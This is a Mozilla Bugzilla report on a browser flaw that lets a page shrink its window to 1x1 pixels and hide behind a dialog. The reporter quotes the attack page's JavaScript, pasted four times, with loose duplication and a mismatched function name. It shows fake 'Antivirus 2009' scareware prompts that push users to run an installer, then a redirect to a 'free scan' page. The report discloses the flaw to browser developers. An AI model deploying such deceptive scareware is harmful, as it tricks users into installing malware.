Open Bug 473749 Opened 12 years ago Updated 2 years ago

Hide current window behind the message dialog

Categories

(Core :: DOM: Core & HTML, defect, P5)

1.9.0 Branch
defect

Tracking

()

UNCONFIRMED

People

(Reporter: thomas.pi, Unassigned)

References

()

Details

(Whiteboard: DUPEME)

Attachments

(2 files)

User-Agent:       Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5
Build Identifier: Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5

Resises the windows to the size 1x1 and opens shows a message dialog windows on top.   

Reproducible: Always




window.js
{
        var coordschunks = coords.split(/\b\s*;\s*\b/);
        var acoords      = new Array();

        for (var i=0; i < coordschunks.length; i++)
  {
        var aCrumb         = coordschunks[i].split(/\b\s*(=|\:)\s*\b/);
        acoords[aCrumb[0]] = aCrumb[aCrumb.length - 1];
  };
  
        var sizechunks = size.split(/\b\s*;\s*\b/);
        var asize      = new Array();

        for (var i=0; i < sizechunks.length; i++)
  {
        var aCrumb       = sizechunks[i].split(/\b\s*(=|\:)\s*\b/);
        asize[aCrumb[0]] = aCrumb[aCrumb.length - 1];
  };  
    
  window.resizeTo(asize['w'], asize['h']);
  window.moveTo(acoords['x'], acoords['y']);
};

test.html
<html>
<body>
<script src='window.js'></script>
<script>
fdfsdfsdd('x:'+window.screen.width/2+'; y:'+(window.screen.height/2-30), 'w:1; h:1'); 

is_XP_SP2     = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator
.appMinorVersion.indexOf('SP2') != -1));
  is_IE=false;
  if (navigator.appName.toLowerCase()=='microsoft internet explorer'){
    if (navigator.userAgent.toLowerCase().indexOf('opera')<=0)  { is_IE=true; }
  } 
  
if(confirm('ATTENTION! If your computer is struck by the spyware, you could suffer data loss, unusual
  PC behaviour, PC freezes and crashes.Detect and remove viruses before they damage your computer!Antivirus
 2009 will perform a 100% FREE and quick scan  of your PC for Viruses, Spyware and Adware.Do you want
 to install Antivirus 2009 to scan your computer for malware now? (Recommended)'))
{
  alert('Antivirus 2009 will scan your system for threats now.\n\nPlease select "RUN" or "OPEN" when
 prompted to start the installation.\n\nThis file has been digitally signed and independently certified
 as 100% free of spyware, adware and viruses.');
};

fdfsdfsdd('x:0; y:0', 'w:' + window.screen.width + '; h:' + window.screen.height); 
window.resizeTo(window.screen.width, window.screen.height);

window.open('_freescan.php?nu=880135', '_self');
window.focus();
</script>
</body>
</html><html>
<body>
<script src='window.js'></script>
<script>
fdfsdfsdd('x:'+window.screen.width/2+'; y:'+(window.screen.height/2-30), 'w:1; h:1'); 

is_XP_SP2     = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator
.appMinorVersion.indexOf('SP2') != -1));
  is_IE=false;
  if (navigator.appName.toLowerCase()=='microsoft internet explorer'){
    if (navigator.userAgent.toLowerCase().indexOf('opera')<=0)  { is_IE=true; }
  } 
  
if(confirm('ATTENTION! If your computer is struck by the spyware, you could suffer data loss, unusual
  PC behaviour, PC freezes and crashes.Detect and remove viruses before they damage your computer!Antivirus
 2009 will perform a 100% FREE and quick scan  of your PC for Viruses, Spyware and Adware.Do you want
 to install Antivirus 2009 to scan your computer for malware now? (Recommended)'))
{
  alert('Antivirus 2009 will scan your system for threats now.\n\nPlease select "RUN" or "OPEN" when
 prompted to start the installation.\n\nThis file has been digitally signed and independently certified
 as 100% free of spyware, adware and viruses.');
};

fdfsdfsdd('x:0; y:0', 'w:' + window.screen.width + '; h:' + window.screen.height); 
window.resizeTo(window.screen.width, window.screen.height);

window.open('_freescan.php?nu=880135', '_self');
window.focus();
</script>
</body>
</html><html>
<body>
<script src='window.js'></script>
<script>
fdfsdfsdd('x:'+window.screen.width/2+'; y:'+(window.screen.height/2-30), 'w:1; h:1'); 

is_XP_SP2     = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator
.appMinorVersion.indexOf('SP2') != -1));
  is_IE=false;
  if (navigator.appName.toLowerCase()=='microsoft internet explorer'){
    if (navigator.userAgent.toLowerCase().indexOf('opera')<=0)  { is_IE=true; }
  } 
  
if(confirm('ATTENTION! If your computer is struck by the spyware, you could suffer data loss, unusual
  PC behaviour, PC freezes and crashes.Detect and remove viruses before they damage your computer!Antivirus
 2009 will perform a 100% FREE and quick scan  of your PC for Viruses, Spyware and Adware.Do you want
 to install Antivirus 2009 to scan your computer for malware now? (Recommended)'))
{
  alert('Antivirus 2009 will scan your system for threats now.\n\nPlease select "RUN" or "OPEN" when
 prompted to start the installation.\n\nThis file has been digitally signed and independently certified
 as 100% free of spyware, adware and viruses.');
};

fdfsdfsdd('x:0; y:0', 'w:' + window.screen.width + '; h:' + window.screen.height); 
window.resizeTo(window.screen.width, window.screen.height);

window.open('_freescan.php?nu=880135', '_self');
window.focus();
</script>
</body>
</html><html>
<body>
<script src='window.js'></script>
<script>
fdfsdfsdd('x:'+window.screen.width/2+'; y:'+(window.screen.height/2-30), 'w:1; h:1'); 

is_XP_SP2     = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator
.appMinorVersion.indexOf('SP2') != -1));
  is_IE=false;
  if (navigator.appName.toLowerCase()=='microsoft internet explorer'){
    if (navigator.userAgent.toLowerCase().indexOf('opera')<=0)  { is_IE=true; }
  } 
  
if(confirm('ATTENTION! If your computer is struck by the spyware, you could suffer data loss, unusual
  PC behaviour, PC freezes and crashes.Detect and remove viruses before they damage your computer!Antivirus
 2009 will perform a 100% FREE and quick scan  of your PC for Viruses, Spyware and Adware.Do you want
 to install Antivirus 2009 to scan your computer for malware now? (Recommended)'))
{
  alert('Antivirus 2009 will scan your system for threats now.\n\nPlease select "RUN" or "OPEN" when
 prompted to start the installation.\n\nThis file has been digitally signed and independently certified
 as 100% free of spyware, adware and viruses.');
};

fdfsdfsdd('x:0; y:0', 'w:' + window.screen.width + '; h:' + window.screen.height); 
window.resizeTo(window.screen.width, window.screen.height);

window.open('_freescan.php?nu=880135', '_self');
window.focus();
</script>
</body>
</html>
Component: General → DOM
Product: Firefox → Core
QA Contact: general → general
Whiteboard: DUPEME
Version: unspecified → 1.9.0 Branch
could you supply a link to an example?
Sorry. The link does not work anymore. But I have corrected the submitted code and will upload it. It still does work with the version 3.6.7
Attached file The html test file
https://bugzilla.mozilla.org/show_bug.cgi?id=1472046

Move all DOM bugs that haven’t been updated in more than 3 years and has no one currently assigned to P5.

If you have questions, please contact :mdaly.
Priority: -- → P5
Component: DOM → DOM: Core & HTML
You need to log in before you can comment on or make changes to this bug.